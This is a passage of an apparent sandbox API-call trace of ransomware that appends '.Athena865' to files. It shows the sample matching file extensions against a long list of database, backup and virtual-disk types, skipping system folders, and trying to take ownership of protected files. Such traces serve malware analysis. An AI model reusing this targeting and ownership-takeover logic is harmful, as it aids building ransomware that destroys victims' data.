4 [0034.822] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0034.822] lstrlenW (lpString="kexic") returned 5 [0034.822] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0034.822] lstrlenW (lpString="kexis") returned 5 [0034.822] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0034.822] lstrlenW (lpString="lgc") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0034.822] lstrlenW (lpString="lwx") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0034.822] lstrlenW (lpString="maf") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0034.822] lstrlenW (lpString="maq") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0034.822] lstrlenW (lpString="mar") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0034.822] lstrlenW (lpString="marshal") returned 7 [0034.822] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0034.822] lstrlenW (lpString="mas") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0034.822] lstrlenW (lpString="mav") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0034.822] lstrlenW (lpString="maw") returned 3 [0034.822] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0034.822] lstrlenW (lpString="mdbhtml") returned 7 [0034.822] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0034.822] lstrlenW (lpString="mdn") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0034.823] lstrlenW (lpString="mdt") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0034.823] lstrlenW (lpString="mfd") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0034.823] lstrlenW (lpString="mpd") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0034.823] lstrlenW (lpString="mrg") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0034.823] lstrlenW (lpString="mud") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0034.823] lstrlenW (lpString="mwb") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0034.823] lstrlenW (lpString="myd") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0034.823] lstrlenW (lpString="ndf") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0034.823] lstrlenW (lpString="nnt") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0034.823] lstrlenW (lpString="nrmlib") returned 6 [0034.823] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0034.823] lstrlenW (lpString="ns2") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0034.823] lstrlenW (lpString="ns3") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0034.823] lstrlenW (lpString="ns4") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0034.823] lstrlenW (lpString="nsf") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0034.823] lstrlenW (lpString="nv") returned 2 [0034.823] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0034.823] lstrlenW (lpString="nv2") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0034.823] lstrlenW (lpString="nwdb") returned 4 [0034.823] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0034.823] lstrlenW (lpString="nyf") returned 3 [0034.823] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0034.823] lstrlenW (lpString="odb") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0034.824] lstrlenW (lpString="odb") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0034.824] lstrlenW (lpString="oqy") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0034.824] lstrlenW (lpString="ora") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0034.824] lstrlenW (lpString="orx") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0034.824] lstrlenW (lpString="owc") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0034.824] lstrlenW (lpString="p96") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0034.824] lstrlenW (lpString="p97") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0034.824] lstrlenW (lpString="pan") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0034.824] lstrlenW (lpString="pdb") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0034.824] lstrlenW (lpString="pdm") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0034.824] lstrlenW (lpString="pnz") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0034.824] lstrlenW (lpString="qry") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0034.824] lstrlenW (lpString="qvd") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0034.824] lstrlenW (lpString="rbf") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0034.824] lstrlenW (lpString="rctd") returned 4 [0034.824] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0034.824] lstrlenW (lpString="rod") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0034.824] lstrlenW (lpString="rodx") returned 4 [0034.824] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0034.824] lstrlenW (lpString="rpd") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0034.824] lstrlenW (lpString="rsd") returned 3 [0034.824] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0034.824] lstrlenW (lpString="sas7bdat") returned 8 [0034.825] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0034.825] lstrlenW (lpString="sbf") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0034.825] lstrlenW (lpString="scx") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0034.825] lstrlenW (lpString="sdb") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0034.825] lstrlenW (lpString="sdc") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0034.825] lstrlenW (lpString="sdf") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0034.825] lstrlenW (lpString="sis") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0034.825] lstrlenW (lpString="spq") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0034.825] lstrlenW (lpString="te") returned 2 [0034.825] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0034.825] lstrlenW (lpString="teacher") returned 7 [0034.825] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0034.825] lstrlenW (lpString="tmd") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0034.825] lstrlenW (lpString="tps") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0034.825] lstrlenW (lpString="trc") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0034.825] lstrlenW (lpString="trc") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0034.825] lstrlenW (lpString="trm") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0034.825] lstrlenW (lpString="udb") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0034.825] lstrlenW (lpString="udl") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0034.825] lstrlenW (lpString="usr") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0034.825] lstrlenW (lpString="v12") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0034.825] lstrlenW (lpString="vis") returned 3 [0034.825] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0034.825] lstrlenW (lpString="vpd") returned 3 [0034.826] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0034.826] lstrlenW (lpString="vvv") returned 3 [0034.826] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0034.826] lstrlenW (lpString="wdb") returned 3 [0034.826] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0034.826] lstrlenW (lpString="wmdb") returned 4 [0034.826] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0034.826] lstrlenW (lpString="wrk") returned 3 [0034.826] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0034.826] lstrlenW (lpString="xdb") returned 3 [0034.826] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0034.826] lstrlenW (lpString="xld") returned 3 [0034.826] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0034.826] lstrlenW (lpString="xmlff") returned 5 [0034.826] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0034.826] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0034.826] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0034.826] GetLastError () returned 0x5 [0034.826] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0034.826] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0034.826] SetEntriesInAclW () returned 0x0 [0035.015] SetNamedSecurityInfoW () returned 0x5 [0035.015] SetNamedSecurityInfoW () returned 0x5 [0035.016] LocalFree (hMem=0x529490) returned 0x0 [0035.016] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.016] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{066f465a-4995-11e7-93e9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.016] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.016] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x448 [0035.016] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.016] CloseHandle (hObject=0x154) returned 1 [0035.017] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.017] CloseHandle (hObject=0x0) returned 0 [0035.017] CloseHandle (hObject=0x0) returned 0 [0035.017] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf5b1ad80, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf5b1ad80, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x42e4bc0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x1acc000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{12AFB~1")) returned 1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.017] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.017] lstrlenW (lpString="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.017] lstrcpyW (in: lpString1=0x241e882, lpString2="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.018] lstrlenW (lpString="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.018] lstrlenW (lpString="Athena865") returned 9 [0035.018] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.018] lstrlenW (lpString=".dll") returned 4 [0035.018] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.018] lstrlenW (lpString=".lnk") returned 4 [0035.018] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.018] lstrlenW (lpString=".ini") returned 4 [0035.018] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.018] lstrlenW (lpString=".sys") returned 4 [0035.018] lstrcmpiW (lpString1="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.018] lstrlenW (lpString="{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.018] lstrlenW (lpString="bak") returned 3 [0035.018] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.018] lstrlenW (lpString="ba_") returned 3 [0035.018] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.018] lstrlenW (lpString="dbb") returned 3 [0035.018] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.018] lstrlenW (lpString="vmdk") returned 4 [0035.018] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.018] lstrlenW (lpString="rar") returned 3 [0035.018] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.018] lstrlenW (lpString="zip") returned 3 [0035.018] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.018] lstrlenW (lpString="tgz") returned 3 [0035.018] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.018] lstrlenW (lpString="vbox") returned 4 [0035.018] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.018] lstrlenW (lpString="vdi") returned 3 [0035.018] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.018] lstrlenW (lpString="vhd") returned 3 [0035.018] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.018] lstrlenW (lpString="vhdx") returned 4 [0035.018] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.018] lstrlenW (lpString="avhd") returned 4 [0035.019] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.019] lstrlenW (lpString="db") returned 2 [0035.019] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.019] lstrlenW (lpString="db2") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.019] lstrlenW (lpString="db3") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.019] lstrlenW (lpString="dbf") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.019] lstrlenW (lpString="mdf") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.019] lstrlenW (lpString="mdb") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.019] lstrlenW (lpString="sql") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.019] lstrlenW (lpString="sqlite") returned 6 [0035.019] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.019] lstrlenW (lpString="sqlite3") returned 7 [0035.019] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.019] lstrlenW (lpString="sqlitedb") returned 8 [0035.019] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.019] lstrlenW (lpString="xml") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.019] lstrlenW (lpString="$er") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.019] lstrlenW (lpString="4dd") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.019] lstrlenW (lpString="4dl") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.019] lstrlenW (lpString="^^^") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.019] lstrlenW (lpString="abs") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.019] lstrlenW (lpString="abx") returned 3 [0035.019] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.019] lstrlenW (lpString="accdb") returned 5 [0035.019] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.020] lstrlenW (lpString="accdc") returned 5 [0035.020] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.020] lstrlenW (lpString="accde") returned 5 [0035.020] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.020] lstrlenW (lpString="accdr") returned 5 [0035.020] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.020] lstrlenW (lpString="accdt") returned 5 [0035.020] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.020] lstrlenW (lpString="accdw") returned 5 [0035.020] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.020] lstrlenW (lpString="accft") returned 5 [0035.020] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.020] lstrlenW (lpString="adb") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.020] lstrlenW (lpString="adb") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.020] lstrlenW (lpString="ade") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.020] lstrlenW (lpString="adf") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.020] lstrlenW (lpString="adn") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.020] lstrlenW (lpString="adp") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.020] lstrlenW (lpString="alf") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.020] lstrlenW (lpString="ask") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.020] lstrlenW (lpString="btr") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.020] lstrlenW (lpString="cat") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.020] lstrlenW (lpString="cdb") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.020] lstrlenW (lpString="ckp") returned 3 [0035.020] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.020] lstrlenW (lpString="cma") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.021] lstrlenW (lpString="cpd") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.021] lstrlenW (lpString="dacpac") returned 6 [0035.021] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.021] lstrlenW (lpString="dad") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.021] lstrlenW (lpString="dadiagrams") returned 10 [0035.021] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.021] lstrlenW (lpString="daschema") returned 8 [0035.021] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.021] lstrlenW (lpString="db-journal") returned 10 [0035.021] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.021] lstrlenW (lpString="db-shm") returned 6 [0035.021] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.021] lstrlenW (lpString="db-wal") returned 6 [0035.021] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.021] lstrlenW (lpString="dbc") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.021] lstrlenW (lpString="dbs") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.021] lstrlenW (lpString="dbt") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.021] lstrlenW (lpString="dbv") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.021] lstrlenW (lpString="dbx") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.021] lstrlenW (lpString="dcb") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.021] lstrlenW (lpString="dct") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.021] lstrlenW (lpString="dcx") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.021] lstrlenW (lpString="ddl") returned 3 [0035.021] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.021] lstrlenW (lpString="dlis") returned 4 [0035.022] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.022] lstrlenW (lpString="dp1") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.022] lstrlenW (lpString="dqy") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.022] lstrlenW (lpString="dsk") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.022] lstrlenW (lpString="dsn") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.022] lstrlenW (lpString="dtsx") returned 4 [0035.022] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.022] lstrlenW (lpString="dxl") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.022] lstrlenW (lpString="eco") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.022] lstrlenW (lpString="ecx") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.022] lstrlenW (lpString="edb") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.022] lstrlenW (lpString="epim") returned 4 [0035.022] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.022] lstrlenW (lpString="fcd") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.022] lstrlenW (lpString="fdb") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.022] lstrlenW (lpString="fic") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.022] lstrlenW (lpString="flexolibrary") returned 12 [0035.022] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.022] lstrlenW (lpString="fm5") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.022] lstrlenW (lpString="fmp") returned 3 [0035.022] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.022] lstrlenW (lpString="fmp12") returned 5 [0035.022] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.022] lstrlenW (lpString="fmpsl") returned 5 [0035.023] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.023] lstrlenW (lpString="fol") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.023] lstrlenW (lpString="fp3") returned 3 [0035.023] lstrcmpiW (lpString1="52}", 